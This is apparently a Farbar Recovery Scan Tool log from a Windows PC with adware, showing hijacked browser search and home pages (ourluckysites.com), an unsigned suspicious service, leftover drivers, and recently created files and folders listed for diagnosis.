ShellIconOverlayIdentifiers: SkyDrive2 -> {A0396A93-DC06-4AEF-BEE9-95FFCCAEF20E} => No File
ShellIconOverlayIdentifiers: SkyDrive3 -> {BBACC218-34EA-4666-9D7A-C78F2274A524} => No File
ShellIconOverlayIdentifiers-x32: SkyDrive1 -> {F241C880-6982-4CE5-8CF7-7085BA96DA5A} => No File
ShellIconOverlayIdentifiers-x32: SkyDrive2 -> {A0396A93-DC06-4AEF-BEE9-95FFCCAEF20E} => No File
ShellIconOverlayIdentifiers-x32: SkyDrive3 -> {BBACC218-34EA-4666-9D7A-C78F2274A524} => No File
GroupPolicy: Group Policy on Chrome detected <======= ATTENTION
==================== Internet (Whitelisted) ====================
(If an item is included in the fixlist, if it is a registry item it will be removed or restored to default.)
HKCU\Software\Microsoft\Internet Explorer\Main,Search Page = http://www.ourluckysites.com/search/?ty ... earchTerms}
HKCU\Software\Microsoft\Internet Explorer\Main,Start Page = http://go.microsoft.com/fwlink/?LinkID= ... 0F89146BEB
HKCU\Software\Microsoft\Internet Explorer\Main,Default_Page_URL = http://www.ourluckysites.com/?type=hp&t ... 1837918379
HKCU\Software\Microsoft\Internet Explorer\Main,Start Page_TIMESTAMP = 0x80B37F1ED9F3D201
HKCU\Software\Microsoft\Internet Explorer\Main,Start Page Redirect Cache_TIMESTAMP = 0x100D1CBE67C7D201
HKCU\Software\Microsoft\Internet Explorer\Main,Start Page Redirect Cache AcceptLangs = cs-CZ
HKCU\Software\Microsoft\Internet Explorer\Main,Default_Search_URL = http://www.ourluckysites.com/search/?ty ... earchTerms}
HKCU\Software\Microsoft\Internet Explorer\Main,First Home Page = http://g.msn.com/1ewenusDefaultPack/SKY2_FRPage
HKLM\Software\Microsoft\Internet Explorer\Main,Default_Search_URL = http://www.ourluckysites.com/search/?ty ... earchTerms}
HKLM\Software\Microsoft\Internet Explorer\Main,Default_Page_URL = http://www.ourluckysites.com/?type=hp&t ... 1837918379
HKLM\Software\Microsoft\Internet Explorer\Main,Start Page = http://go.microsoft.com/fwlink/?LinkID= ... 0F89146BEB
HKLM\Software\Microsoft\Internet Explorer\Main,Search Page = http://www.ourluckysites.com/search/?ty ... earchTerms}
HKLM\Software\Wow6432Node\Microsoft\Internet Explorer\Main,Default_Search_URL = http://www.ourluckysites.com/search/?ty ... earchTerms}
HKLM\Software\Wow6432Node\Microsoft\Internet Explorer\Main,Default_Page_URL = http://www.ourluckysites.com/?type=hp&t ... 1837918379
HKLM\Software\Wow6432Node\Microsoft\Internet Explorer\Main,Start Page = http://go.microsoft.com/fwlink/?LinkID= ... 0F89146BEB
HKLM\Software\Wow6432Node\Microsoft\Internet Explorer\Main,Search Page = http://www.ourluckysites.com/search/?ty ... earchTerms}
URLSearchHook: HKLM-x32 - Default Value = {CCC7B159-1D8C-11E3-B2AD-F3EF3D58318D}
StartMenuInternet: IEXPLORE.EXE - c:\program files\internet explorer\iexplore.exe http://www.ourluckysites.com/?type=sc&t ... 1837918379
SearchScopes: HKLM - DefaultScope {33BB0A4E-99AF-4226-BDF6-49120163DE86} URL = http://www.bing.com/search?q={searchTer ... DF&pc=MSSE
SearchScopes: HKLM - {33BB0A4E-99AF-4226-BDF6-49120163DE86} URL = http://www.bing.com/search?q={searchTer ... DF&pc=MSSE
SearchScopes: HKLM - {9BB47C17-9C68-4BB3-B188-DD9AF0FD2488} URL = http://dts.search.ask.com/sr?src=ieb&gc ... earchTerms}
SearchScopes: HKLM-x32 - DefaultScope {ielnksrch} URL =
SearchScopes: HKLM-x32 - {33BB0A4E-99AF-4226-BDF6-49120163DE86} URL = http://www.ourluckysites.com/search/?ty ... earchTerms}
SearchScopes: HKLM-x32 - {9BB47C17-9C68-4BB3-B188-DD9AF0FD2488} URL = http://dts.search.ask.com/sr?src=ieb&gc ... earchTerms}
SearchScopes: HKCU - {1BC0D21C-672E-4049-AEFB-7589E730CC9D} URL = http://encyklopedie.seznam.cz/search?q= ... arch_13415
SearchScopes: HKCU - {24231C4F-6B02-48F6-8DA8-F8109976FB33} URL = http://search.seznam.cz/?q={searchTerms ... arch_13415
SearchScopes: HKCU - {2542C02A-3967-4CFE-8EEC-990CFD9D94E4} URL = http://www.novinky.cz/hledej?w={searchT ... arch_13415
SearchScopes: HKCU - {2D149E15-BBAA-435b-A98D-BBC53B907C7B} URL = http://www.bing.com/search?q={searchTer ... DF&pc=MSSE
SearchScopes: HKCU - {3561EA69-50EB-4855-BB78-E72E93193330} URL = http://www.google.com/custom?client=pub ... earchTerms}
SearchScopes: HKCU - {46B57E5F-2706-4863-8F63-8D5FE7A0759F} URL = http://www.zbozi.cz/?q={searchTerms}&r= ... arch_13415
SearchScopes: HKCU - {80c554b9-c7f8-4a21-9471-06d606da78a2} URL = http://www.bing.com/search?q={searchTer ... DF&pc=MSSE
SearchScopes: HKCU - {8A5604A0-BBA9-47FE-8797-3BBD3C8EAEFB} URL = http://slovnik.seznam.cz/?q={searchTerm ... arch_13415
SearchScopes: HKCU - {9BB47C17-9C68-4BB3-B188-DD9AF0FD2488} URL = http://dts.search.ask.com/sr?src=ieb&gc ... earchTerms}
SearchScopes: HKCU - {A4ACD589-7C3E-4213-BD4A-D721BBD2087F} URL =
SearchScopes: HKCU - {A53725A9-A238-48C1-9C72-A061C266ED13} URL = http://slovnik.seznam.cz/?q={searchTerm ... arch_13415
SearchScopes: HKCU - {B5BB941C-AAE1-41D4-8DB6-E622A0C3BA88} URL = http://www.mapy.cz/?query={searchTerms} ... arch_13415
SearchScopes: HKCU - {B94AF99D-D3FC-426D-8731-18FF6561EC08} URL = http://www.firmy.cz/?q={searchTerms}&so ... arch_13415
SearchScopes: HKCU - {E528EADF-38EC-40af-BBCF-5F15AABA9928} URL = http://uk.search.yahoo.com/search?p={se ... &type=IEBD
SearchScopes: HKCU - {E561C76C-DDED-4690-BAEF-A364A43D2940} URL = http://tv.seznam.cz/hledej?w={searchTer ... arch_13415
BHO: No Name -> {761497BB-D6F0-462C-B6EB-D4DAF1D92D43} -> No File
BHO: Windows Live ID Sign-in Helper -> {9030D464-4C02-4ABF-8ECC-5164760863C6} -> C:\Program Files\Common Files\Microsoft Shared\Windows Live\WindowsLiveLogin.dll (Microsoft Corp.)
BHO: Java(tm) Plug-In 2 SSV Helper -> {DBC80044-A445-435b-BC74-9C25C1C588A9} -> C:\Program Files\Java\jre6\bin\jp2ssv.dll No File
BHO-x32: No Name -> {4f3ed5cd-0726-42a9-87f5-d13f3d2976ac} -> No File
BHO-x32: Spybot-S&D IE Protection -> {53707962-6F74-2D53-2644-206D7942484F} -> C:\Program Files (x86)\Spybot - Search & Destroy\SDHelper.dll (Safer Networking Limited)
BHO-x32: Java(tm) Plug-In SSV Helper -> {761497BB-D6F0-462C-B6EB-D4DAF1D92D43} -> C:\Program Files (x86)\Java\jre1.8.0_51\bin\ssv.dll (Oracle Corporation)
BHO-x32: Pomocná služba pro přihlášení k účtu Microsoft -> {9030D464-4C02-4ABF-8ECC-5164760863C6} -> C:\Program Files (x86)\Common Files\Microsoft Shared\Windows Live\WindowsLiveLogin.dll (Microsoft Corp.)
BHO-x32: Java(tm) Plug-In 2 SSV Helper -> {DBC80044-A445-435b-BC74-9C25C1C588A9} -> C:\Program Files (x86)\Java\jre1.8.0_51\bin\jp2ssv.dll (Oracle Corporation)
DPF: HKLM {233C1507-6A77-46A4-9443-F871F945D258} http://download.macromedia.com/pub/shoc ... tor/sw.cab
DPF: HKLM-x32 {02BF25D5-8C17-4B23-BC80-D3488ABDDC6B} http://appldnld.apple.com.edgesuite.net ... plugin.cab
DPF: HKLM-x32 {166B1BCA-3F9C-11CF-8075-444553540000} http://download.macromedia.com/pub/shoc ... tor/sw.cab
DPF: HKLM-x32 {233C1507-6A77-46A4-9443-F871F945D258}
DPF: HKLM-x32 {4BFD075D-C36E-4F28-BB0A-5D472795197A} http://download05.managerzone.com/socce ... Loader.cab
DPF: HKLM-x32 {CAFEEFAC-0016-0000-0024-ABCDEFFEDCBA}
DPF: HKLM-x32 {CAFEEFAC-0016-0000-0030-ABCDEFFEDCBA}
DPF: HKLM-x32 {D27CDB6E-AE6D-11CF-96B8-444553540000} http://fpdownload2.macromedia.com/get/s ... wflash.cab
Handler-x32: skype4com - {FFC8B962-9B40-4DFF-9458-1830C7DD7F5D} - C:\Program Files (x86)\Common Files\Skype\Skype4COM.dll (Skype Technologies)
ShellExecuteHooks: - {E4CA1236-0398-11E7-A247-64006A5CFC23} - C:\Users\Uzivatel\AppData\Roaming\Putodom\Ljeent.dll No File [ ]
Hosts: There are more than one entry in Hosts. See Hosts section of Addition.txt
Tcpip\Parameters: [DhcpNameServer] 10.0.0.138
Tcpip\..\Interfaces\{CA7287A7-18E5-45C5-B9EC-4F4B539AEC8E}: [NameServer]217.77.165.81 217.77.161.131
FireFox:
========
FF ProfilePath: C:\Users\Uzivatel\AppData\Roaming\Mozilla\Firefox\Profiles\xa6k9tha.default
FF NewTab: C:\ProgramData\AppmallosayoVs\ff.NT
FF DefaultSearchEngine: youndoo
FF SearchEngineOrder.1: Ask.com
FF SelectedSearchEngine: youndoo
FF Homepage: C:\ProgramData\AppmallosayoVs\ff.HP
FF Keyword.URL: hxxp://dts.search.ask.com/sr?src=ffb&gct=ds&appid=101&systemid=488&v=a15007-389&apn_dtid=TCH001&apn_ptnrs=AG1&apn_uid=8423644100354278&o=APN11459&q=
FF Plugin: @adobe.com/FlashPlayer -> C:\Windows\system32\Macromed\Flash\NPSWF64_26_0_0_131.dll ()
FF Plugin: @esn/npbattlelog,version=2.7.1 -> C:\Program Files (x86)\Battlelog Web Plugins\2.7.1\npbattlelogx64.dll (EA Digital Illusions CE AB)
FF Plugin: @microsoft.com/GENUINE -> disabled No File
FF Plugin: @Microsoft.com/NpCtrl,version=1.0 -> c:\Program Files\Microsoft Silverlight\5.1.50907.0\npctrl.dll ( Microsoft Corporation)
FF Plugin: adobe.com/AdobeAAMDetect -> C:\Program Files (x86)\Adobe\Adobe Creative Cloud\Utils\npAdobeAAMDetect64.dll (Adobe Systems)
FF Plugin-x32: @adobe.com/FlashPlayer -> C:\Windows\SysWOW64\Macromed\Flash\NPSWF32_26_0_0_131.dll ()
FF Plugin-x32: @adobe.com/ShockwavePlayer -> C:\Windows\SysWOW64\Adobe\Director\np32dsw_1202122.dll (Adobe Systems, Inc.)
FF Plugin-x32: @Apple.com/iTunes,version=1.0 -> C:\Program Files (x86)\iTunes\Mozilla Plugins\npitunes.dll ()
FF Plugin-x32: @esn.me/esnsonar,version=0.70.0 -> C:\Program Files (x86)\Battlelog Web Plugins\Sonar\0.70.0\npesnsonar.dll No File
FF Plugin-x32: @esn/esnlaunch,version=2.1.7 -> C:\Program Files (x86)\Battlelog Web Plugins\2.1.7\npesnlaunch.dll No File
FF Plugin-x32: @esn/npbattlelog,version=2.4.0 -> C:\Program Files (x86)\Battlelog Web Plugins\2.4.0\npbattlelog.dll No File
FF Plugin-x32: @esn/npbattlelog,version=2.7.1 -> C:\Program Files (x86)\Battlelog Web Plugins\2.7.1\npbattlelog.dll (EA Digital Illusions CE AB)
FF Plugin-x32: @java.com/DTPlugin,version=11.51.2 -> C:\Program Files (x86)\Java\jre1.8.0_51\bin\dtplugin\npDeployJava1.dll (Oracle Corporation)
FF Plugin-x32: @java.com/JavaPlugin,version=11.51.2 -> C:\Program Files (x86)\Java\jre1.8.0_51\bin\plugin2\npjp2.dll (Oracle Corporation)
FF Plugin-x32: @microsoft.com/GENUINE -> disabled No File
FF Plugin-x32: @Microsoft.com/NpCtrl,version=1.0 -> c:\Program Files (x86)\Microsoft Silverlight\5.1.50907.0\npctrl.dll ( Microsoft Corporation)
FF Plugin-x32: @microsoft.com/WLPG,version=15.4.3502.0922 -> C:\Program Files (x86)\Windows Live\Photo Gallery\NPWLPG.dll (Microsoft Corporation)
FF Plugin-x32: @microsoft.com/WLPG,version=16.4.3528.0331 -> C:\Program Files (x86)\Windows Live\Photo Gallery\NPWLPG.dll (Microsoft Corporation)
FF Plugin-x32: @pandonetworks.com/PandoWebPlugin -> C:\Program Files (x86)\Pando Networks\Media Booster\npPandoWebPlugin.dll (Pando Networks)
FF Plugin-x32: @real.com/nprpjplug;version=6.0.12.1483 -> C:\Program Files (x86)\K-Lite Codec Pack\Real\browser\plugins\nprpjplug.dll (RealNetworks, Inc.)
FF Plugin-x32: @tools.google.com/Google Update;version=3 -> C:\Program Files (x86)\Google\Update\1.3.33.5\npGoogleUpdate3.dll (Google Inc.)
FF Plugin-x32: @tools.google.com/Google Update;version=9 -> C:\Program Files (x86)\Google\Update\1.3.33.5\npGoogleUpdate3.dll (Google Inc.)
FF Plugin-x32: @unity3d.com/UnityPlayer,version=1.0 -> C:\Program Files (x86)\Unity\WebPlayer\loader\npUnity3D32.dll (Unity Technologies ApS)
FF Plugin-x32: Adobe Reader -> C:\Program Files (x86)\Adobe\Reader 11.0\Reader\AIR\nppdf32.dll (Adobe Systems Inc.)
FF Plugin-x32: adobe.com/AdobeAAMDetect -> C:\Program Files (x86)\Adobe\Adobe Creative Cloud\Utils\npAdobeAAMDetect32.dll (Adobe Systems)
FF Plugin HKCU: @lightspark.github.com/Lightspark;version=1 -> C:\Program Files (x86)\Lightspark 0.5.3-git\nplightsparkplugin.dll No File
FF Plugin HKCU: pandonetworks.com/PandoWebPlugin -> C:\Program Files (x86)\Pando Networks\Media Booster\npPandoWebPlugin.dll (Pando Networks)
FF Plugin HKCU: ubisoft.com/uplaypc -> C:\Program Files (x86)\Ubisoft\The Settlers 7 - Paths to a Kingdom\Data\Base\_Dbg\Bin\Release\orbit\npuplaypc.dll (Ubisoft)
FF Plugin ProgramFiles/Appdata: C:\Program Files (x86)\mozilla firefox\plugins\nppdf32.dll (Adobe Systems Inc.)
FF Plugin ProgramFiles/Appdata: C:\Program Files (x86)\mozilla firefox\plugins\nprpjplug.dll (RealNetworks, Inc.)
FF SearchPlugin: C:\Users\Uzivatel\AppData\Roaming\Mozilla\Firefox\Profiles\xa6k9tha.default\searchplugins\findit.xml
FF SearchPlugin: C:\Users\Uzivatel\AppData\Roaming\Mozilla\Firefox\Profiles\xa6k9tha.default\searchplugins\hhkup77i.xml
FF SearchPlugin: C:\Users\Uzivatel\AppData\Roaming\Mozilla\Firefox\Profiles\xa6k9tha.default\searchplugins\luck.xml
FF SearchPlugin: C:\Users\Uzivatel\AppData\Roaming\Mozilla\Firefox\Profiles\xa6k9tha.default\searchplugins\ourluckysites.xml
FF SearchPlugin: C:\Users\Uzivatel\AppData\Roaming\Mozilla\Firefox\Profiles\xa6k9tha.default\searchplugins\searchplugins-backup
FF SearchPlugin: C:\Users\Uzivatel\AppData\Roaming\Mozilla\Firefox\Profiles\xa6k9tha.default\searchplugins\startpageing123.xml
FF SearchPlugin: C:\Program Files (x86)\mozilla firefox\browser\searchplugins\findit.xml
FF Extension: No Name - C:\Users\Uzivatel\AppData\Roaming\Mozilla\Firefox\Profiles\xa6k9tha.default\Extensions\amcontextmenu@loucypher [2017-06-29]
FF Extension: xRocket Toolbar - C:\Users\Uzivatel\AppData\Roaming\Mozilla\Firefox\Profiles\xa6k9tha.default\Extensions\arthurj8283@gmail.com [2017-03-16]
FF Extension: Flash Video Downloader - YouTube HD Download [4K] - C:\Users\Uzivatel\AppData\Roaming\Mozilla\Firefox\Profiles\xa6k9tha.default\Extensions\artur.dubovoy@gmail.com [2016-05-28]
FF Extension: No Name - C:\Users\Uzivatel\AppData\Roaming\Mozilla\Firefox\Profiles\xa6k9tha.default\Extensions\{88c7f2aa-f93f-432c-8f0e-b7d85967a527}-trash [2011-05-01]
FF Extension: Video Downloader professional - C:\Users\Uzivatel\AppData\Roaming\Mozilla\Firefox\Profiles\xa6k9tha.default\Extensions\ffext_basicvideoext@startpage24.xpi [2015-06-25]
FF Extension: SoundCloud Downloader - Technowise - C:\Users\Uzivatel\AppData\Roaming\Mozilla\Firefox\Profiles\xa6k9tha.default\Extensions\{c8d3bc80-0810-4d21-a2c2-be5f2b2832ac}.xpi [2014-10-17]
FF Extension: Skype Click to Call - C:\Program Files (x86)\Mozilla Firefox\browser\extensions\{82AF8DCA-6DE9-405D-BD5E-43525BDAD38A}.xpi [2014-07-14]
FF HKLM\...\Thunderbird\Extensions: [eplgTb@eset.com] - C:\Program Files\ESET\ESET NOD32 Antivirus\Mozilla Thunderbird
FF HKLM-x32\...\Firefox\Extensions: [iey.eaea@ilaiya.edu] - C:\Users\Uzivatel\AppData\Roaming\Mozilla\Firefox\Profiles\xa6k9tha.default\extensions\iey.eaea@ilaiya.edu
FF HKLM-x32\...\Firefox\Extensions: [{ABDE892B-13A8-4d1b-88E6-365A6E755758}] - C:\ProgramData\RealNetworks\RealDownloader\BrowserPlugins\Firefox\Ext
FF HKLM-x32\...\Firefox\Extensions: [ext@flashenhancer.com] - C:\Program Files (x86)\AmiExt\flashEnhancer\ff
FF HKLM-x32\...\Firefox\Extensions: [arthurj8283@gmail.com] - C:\Users\Uzivatel\AppData\Roaming\Mozilla\Firefox\Profiles\xa6k9tha.default\extensions\arthurj8283@gmail.com
FF HKLM-x32\...\Thunderbird\Extensions: [eplgTb@eset.com] - C:\Program Files\ESET\ESET NOD32 Antivirus\Mozilla Thunderbird
Chrome:
=======
CHR Extension: (Google Docs) - C:\Users\Uzivatel\AppData\Local\Google\Chrome\User Data\Default\Extensions\aohghmighlieiainnegkcijnfilokake [2014-01-27]
CHR Extension: (Google Drive) - C:\Users\Uzivatel\AppData\Local\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf [2014-01-27]
CHR Extension: (YouTube) - C:\Users\Uzivatel\AppData\Local\Google\Chrome\User Data\Default\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo [2014-01-27]
CHR Extension: (Google Search) - C:\Users\Uzivatel\AppData\Local\Google\Chrome\User Data\Default\Extensions\coobgpohoikkiipiblmjeljniedjpjpf [2014-01-27]
CHR Extension: (DP1815) - C:\Users\Uzivatel\AppData\Local\Google\Chrome\User Data\Default\Extensions\fjllbogbaogimpilgdginhalhhbmhiob [2014-01-29]
CHR Extension: (Tables) - C:\Users\Uzivatel\AppData\Local\Google\Chrome\User Data\Default\Extensions\fngmhnnpilhplaeedifhccceomclgfbg [2017-06-29]
CHR Extension: (Google Docs Offline) - C:\Users\Uzivatel\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi [2015-09-03]
CHR Extension: (Chrome Web Store Payments) - C:\Users\Uzivatel\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda [2013-08-24]
CHR Extension: (Gmail) - C:\Users\Uzivatel\AppData\Local\Google\Chrome\User Data\Default\Extensions\pjkljhegncpnkpknbcohdijeoejaedia [2014-01-27]
CHR Extension: (Chrome Media Router) - C:\Users\Uzivatel\AppData\Local\Google\Chrome\User Data\Default\Extensions\pkedcjkdefgpdelpbcmbmeomcjbeemfm [2016-12-15]
CHR HKLM-x32\...\Chrome\Extension: [cgbealecnakbhfoeeipcnoboempfkbjd] - C:\Program Files (x86)\AmiExt\flashEnhancer\ch\flashEnhancer.crx [2016-12-15]
CHR StartMenuInternet: Google Chrome - C:\Program Files (x86)\Google\Chrome\Application\chrome.exe http://www.ourluckysites.com/?type=sc&t ... 1837918379
==================== Services (Whitelisted) =================
(If an entry is included in the fixlist, the service will be removed from the registry. The file will not be moved unless listed separately.)
R2 AdobeUpdateService; C:\Program Files (x86)\Common Files\Adobe\Adobe Desktop Common\ElevationManager\AdobeUpdateService.exe [694464 2016-04-07] (Adobe Systems Incorporated)
R2 AGSService; C:\Program Files (x86)\Common Files\Adobe\AdobeGCClient\AGSService.exe [2246256 2017-05-18] (Adobe Systems, Incorporated)
R2 AMD FUEL Service; C:\Program Files\AMD\ATI.ACE\Fuel\Fuel.Service.exe [344064 2015-07-15] (Advanced Micro Devices, Inc.) [File not signed]
R2 AppmallosayoV; C:\ProgramData\\AppmallosayoV\\AppmallosayoV.exe [2465280 2017-06-29] (TODO: <Company name>) [File not signed]
S3 BEService; C:\Program Files (x86)\Common Files\BattlEye\BEService.exe [1536520 2017-06-24] ()
R2 DiagTrack; C:\Windows\system32\diagtrack.dll [1386496 2016-08-22] (Microsoft Corporation)
S2 ES lite Service; C:\Program Files (x86)\Gigabyte\EasySaver\ESSVR.EXE [68136 2009-08-24] ()
S3 IDriverT; C:\Program Files (x86)\Common Files\InstallShield\Driver\11\Intel 32\IDriverT.exe [69632 2005-04-04] (Macrovision Corporation) [File not signed]
R2 LightScribeService; C:\Program Files (x86)\Common Files\LightScribe\LSSrvc.exe [73728 2010-08-16] (Hewlett-Packard Company) [File not signed]
R2 MBAMService; C:\Program Files\Malwarebytes\Anti-Malware\mbamservice.exe [4355024 2017-01-20] (Malwarebytes) [File not signed]
R2 MsMpSvc; C:\Program Files\Microsoft Security Client\MsMpEng.exe [119864 2016-11-14] (Microsoft Corporation)
R2 MSSQL$SONY_MEDIAMGR; C:\Program Files (x86)\Sony\Shared Plug-Ins\Media Manager\MSSQL$SONY_MEDIAMGR\Binn\sqlservr.exe [7520337 2002-12-17] (Microsoft Corporation) [File not signed]
S3 MSSQLServerADHelper; C:\Program Files (x86)\Microsoft SQL Server\80\Tools\Binn\sqladhlp.exe [66112 2002-12-17] (Microsoft Corporation) [File not signed]
S3 NisSrv; C:\Program Files\Microsoft Security Client\NisSrv.exe [361816 2016-11-14] (Microsoft Corporation)
R2 NMSAccessU; C:\Program Files (x86)\CDBurnerXP\NMSAccessU.exe [71096 2009-11-12] ()
S3 Origin Client Service; C:\Program Files (x86)\Origin\OriginClientService.exe [2120712 2016-05-10] (Electronic Arts)
R2 PnkBstrA; C:\Windows\SysWOW64\PnkBstrA.exe [76152 2016-05-10] ()
R2 SBSDWSCService; C:\Program Files (x86)\Spybot - Search & Destroy\SDWinSec.exe [1153368 2009-01-26] (Safer Networking Ltd.)
S3 SQLAgent$SONY_MEDIAMGR; C:\Program Files (x86)\Sony\Shared Plug-Ins\Media Manager\MSSQL$SONY_MEDIAMGR\Binn\sqlagent.EXE [311872 2002-12-17] (Microsoft Corporation) [File not signed]
R2 W3SVC; C:\Windows\system32\inetsrv\iisw3adm.dll [453120 2010-11-20] (Microsoft Corporation)
S3 digiSPTIService64; "C:\Program Files\Avid\Pro Tools\digisptiservice64.exe" [X]
S2 PlaysService; "C:\Program Files (x86)\Raptr Inc\PlaysTV\plays_service.exe" [X]
S2 swpsvr; C:\ProgramData\Microsoft\Windows\system\appidsvr.dll [X]
S2 Windows; C:\Windows\svchost.exe [X]
S2 WindowsAppSvc; C:\ProgramData\Microsoft\Apps\common\helper.dll [X]
==================== Drivers (Whitelisted) ====================
(If an entry is included in the fixlist, the service will be removed from the registry. The file will not be moved unless listed separately.)
R0 amdkmpfd; C:\Windows\System32\DRIVERS\amdkmpfd.sys [62152 2014-10-28] (Advanced Micro Devices, Inc.)
R2 AODDriver4.3; C:\Program Files\AMD\ATI.ACE\Fuel\amd64\AODDriver2.sys [59616 2014-02-11] (Advanced Micro Devices)
S1 avgtp; C:\Windows\system32\drivers\avgtpx64.sys [45856 2013-05-20] () [File not signed]
S3 BRDriver64; C:\ProgramData\BitRaider\BRDriver64.sys [75048 2014-03-23] (BitRaider)
R1 cfidsk; C:\Windows\System32\drivers\cfidsk.sys [196520 2017-06-20] ()
S3 dtlitescsibus; C:\Windows\System32\DRIVERS\dtlitescsibus.sys [30264 2017-03-16] (Disc Soft Ltd)
S3 dtliteusbbus; C:\Windows\System32\DRIVERS\dtliteusbbus.sys [47672 2017-03-16] (Disc Soft Ltd)
S3 huawei_wwanecm; C:\Windows\System32\DRIVERS\ew_juwwanecm.sys [213504 2011-07-12] (Huawei Technologies Co., Ltd.)
S3 igfx; C:\Windows\System32\DRIVERS\igdkmd64.sys [6112672 2009-06-16] (Intel Corporation) [File not signed]
S3 irsir; C:\Windows\System32\DRIVERS\irsir.sys [27648 2008-01-19] (Microsoft Corporation)
R0 MBAMSwissArmy; C:\Windows\System32\drivers\MBAMSwissArmy.sys [251832 2017-07-03] (Malwarebytes)
S3 MBAMWebProtection; C:\Windows\system32\drivers\mwac.sys [82720 2017-05-23] (Malwarebytes) [File not signed]
R0 MpFilter; C:\Windows\System32\DRIVERS\MpFilter.sys [295000 2016-08-25] (Microsoft Corporation)
R1 MpKsl4f7c0b98; c:\ProgramData\Microsoft\Microsoft Antimalware\Definition Updates\{94EDC583-B655-4337-B345-B7C89A7EC800}\MpKsl4f7c0b98.sys [44928 2017-07-03] (Microsoft Corporation)
S3 NisDrv; C:\Windows\System32\DRIVERS\NisDrvWFP.sys [135928 2016-08-25] (Microsoft Corporation)
S0 prohlp02; C:\Windows\SysWOW64\drivers\prohlp02.sys [111808 2004-05-13] (Protection Technology) [File not signed]
S0 prosync1; C:\Windows\SysWOW64\drivers\prosync1.sys [6944 2003-09-06] (Protection Technology) [File not signed]
R0 PxHlpa64; C:\Windows\System32\Drivers\PxHlpa64.sys [56336 2012-06-22] (Corel Corporation)
S0 sfhlp01; C:\Windows\SysWOW64\drivers\sfhlp01.sys [4832 2003-12-01] (Protection Technology) [File not signed]
R0 sptd; C:\Windows\System32\Drivers\sptd.sys [394296 2017-03-16] (Duplex Secure Ltd.)
S3 StarOpen; C:\Windows\System32\Drivers\StarOpen.sys [5504 2009-11-12] () [File not signed]
S3 StarOpen; C:\Windows\SysWow64\Drivers\StarOpen.sys [7168 2009-11-12] () [File not signed]
S3 XSplit_Dummy; C:\Windows\System32\drivers\xspltspk.sys [26200 2014-07-02] (SplitmediaLabs Limited)
R3 YMIDUSBW; C:\Windows\System32\drivers\ymidusbx64.sys [51496 2013-04-04] (Yamaha Corporation)
S2 AODDriver4.01; \??\C:\Program Files\ATI Technologies\ATI.ACE\Fuel\amd64\AODDriver2.sys [X]
S3 ATICDSDr; \??\C:\Windows\TEMP\ATICDSDr.sys [X]
S3 cpuz132; \??\C:\Users\Uzivatel\AppData\Local\Temp\cpuz132\cpuz132_x64.sys [X]
S1 eddcraht; \??\C:\Windows\system32\drivers\eddcraht.sys [X]
S3 gdrv; \??\C:\Windows\gdrv.sys [X]
U2 glory;
S3 LVPr2M64; system32\DRIVERS\LVPr2M64.sys [X]
S3 LVRS64; system32\DRIVERS\lvrs64.sys [X]
S3 LVUVC64; system32\DRIVERS\lvuvc64.sys [X]
S1 lwedyski; \??\C:\Windows\system32\drivers\lwedyski.sys [X]
S1 mewhqimk; \??\C:\Windows\system32\drivers\mewhqimk.sys [X]
S1 prodrv06; \SystemRoot\System32\drivers\prodrv06.sys [X]
S1 qvpajadl; \??\C:\Windows\system32\drivers\qvpajadl.sys [X]
U2 snare;
S3 WinRing0_1_2_0; \??\C:\Program Files (x86)\Razer\Razer Game Booster\Driver\WinRing0x64.sys [X]
==================== NetSvcs (Whitelisted) ===================
(If an item is included in the fixlist, it will be removed from the registry. Any associated file could be listed separately to be moved.)
==================== One Month Created Files and Folders ========
(If an entry is included in the fixlist, the file\folder will be moved.)
2017-07-03 21:30 - 2017-07-03 21:31 - 00000003 ____H () C:\ProgramData\cm-lock
2017-07-03 10:05 - 2017-07-03 10:05 - 04110280 _____ () C:\Users\Uzivatel\Downloads\adwcleaner_6.047 (2).exe
2017-07-02 12:36 - 2017-07-02 12:36 - 01130328 _____ (Google Inc.) C:\Users\Uzivatel\Downloads\ChromeSetup (1).exe
2017-07-02 12:34 - 2017-07-02 12:34 - 04110280 _____ () C:\Users\Uzivatel\Downloads\adwcleaner_6.047(1).exe
2017-07-02 12:24 - 2017-07-02 12:24 - 04110280 _____ () C:\Users\Uzivatel\Downloads\adwcleaner_6.047 (1).exe
2017-07-02 12:20 - 2017-07-02 12:20 - 04110280 _____ () C:\Users\Uzivatel\Desktop\adwcleaner_6.047.exe
2017-07-01 21:58 - 2017-07-01 21:58 - 00003162 _____ () C:\Windows\System32\Tasks\{9A61D488-CAEF-4292-8C11-109B7A7214E7}
2017-07-01 21:57 - 2017-07-01 21:57 - 00003162 _____ () C:\Windows\System32\Tasks\{975EC48D-76CF-4AB5-89BE-0F81A3F1DAEC}
2017-07-01 21:56 - 2017-07-01 21:56 - 00003162 _____ () C:\Windows\System32\Tasks\{31BA5A72-3AC8-4833-A0DA-006CF4475CD1}
2017-06-30 16:33 - 2017-06-30 16:33 - 04110280 _____ () C:\Users\Uzivatel\Downloads\adwcleaner_6.047.exe
2017-06-30 14:52 - 2017-07-01 23:02 - 00001042 _____ () C:\Users\DefaultAppPool\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Internet Explorer.lnk
2017-06-29 19:09 - 2017-07-03 10:50 - 00000000 ____D () C:\Users\Uzivatel\AppData\Roaming\ooq45k0gz3k
2017-06-29 19:09 - 2017-06-29 19:09 - 00000000 ____D () C:\Program Files\I59ZA8EZ7K
2017-06-29 18:37 - 2017-06-29 18:37 - 00013729 ____R () C:\Windows\system32\Drivers\etc\hosts.20170629-183755.backup
2017-06-29 18:37 - 2017-06-29 18:37 - 00013394 ____R () C:\Windows\system32\Drivers\etc\hosts.20170629-183756.backup
2017-06-29 18:37 - 2017-06-29 18:37 - 00009656 ____R () C:\Windows\system32\Drivers\etc\hosts.20170629-183757.backup
2017-06-29 16:32 - 2017-06-29 16:33 - 00000000 ____D () C:\ProgramData\AppmallosayoVs
2017-06-29 16:30 - 2017-07-01 10:54 - 00000000 ____D () C:\ProgramData\AppmallosayoV
2017-06-29 16:20 - 2017-07-03 10:50 - 00000000 ____D () C:\Users\Uzivatel\AppData\Roaming\1fqb43r0ntz
2017-06-29 16:20 - 2017-06-29 16:20 - 00000000 ____D () C:\Program Files\G05HC4PZV0
